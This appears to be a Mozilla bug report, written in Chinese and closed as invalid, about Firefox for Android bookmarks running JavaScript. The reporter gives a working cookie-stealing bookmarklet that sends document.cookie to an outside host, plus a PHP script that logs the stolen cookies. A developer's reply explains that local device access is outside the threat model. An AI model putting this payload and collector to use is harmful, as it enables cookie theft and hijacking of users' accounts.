1628187 - 火狐浏览器xss漏洞

Status: RESOLVED INVALID

(Firefox :: Security, task)

Description

[梁国强]

火狐浏览器安卓版的书签可支持植入任意js代码，不管是好的还是坏的代码，这并不会被杀毒软件查杀，而且复现此漏洞不需要太高深的技巧和知识，任何人都可以学会这种植入木马的方法

书签是保存着在你的账户中的，并不是存在设备中，就是说即使你在另外一个设备登录你的账号，带有恶意js代码的书签仍然存在，除非你永久的删除它

假如你的浏览器中有一个书签网址是：http://www.baidu.com

攻击者借用你手机，仅仅需要十秒钟，将网址改为：javascript:window.location = "http://www.10000wen.com/cookie.php?cookie='"+document.cookie+"'";

cookie.php代码如下：

<?php
setcookie("user", "Alex Porter", time()+3600);$myfile = fopen("cookie.txt", "w") or die("Unable to open file!");fwrite($myfile, $_GET["cookie"]);fclose($myfile);
header("Location: http://www.baidu.com"); ?>

每当你浏览网页，打开该书签，并不会发现有什么异常，但是你的cookie信息总是会被无声无息的泄露

Comment 2

[Johann Hofmann [:johannh]]

(Translate telling me this bug is about bookmarklets)

Bookmarklets (javascript: execution via bookmarks) are a browser feature. Regarding the "it only takes 10s for someone who has access to your phone to make this change": Yes, this is certainly a possibility, however, local access to the device is not primarily considered in our threat model (there are many other features that could otherwise be exploited for a similar effect, including local password storage or add-ons).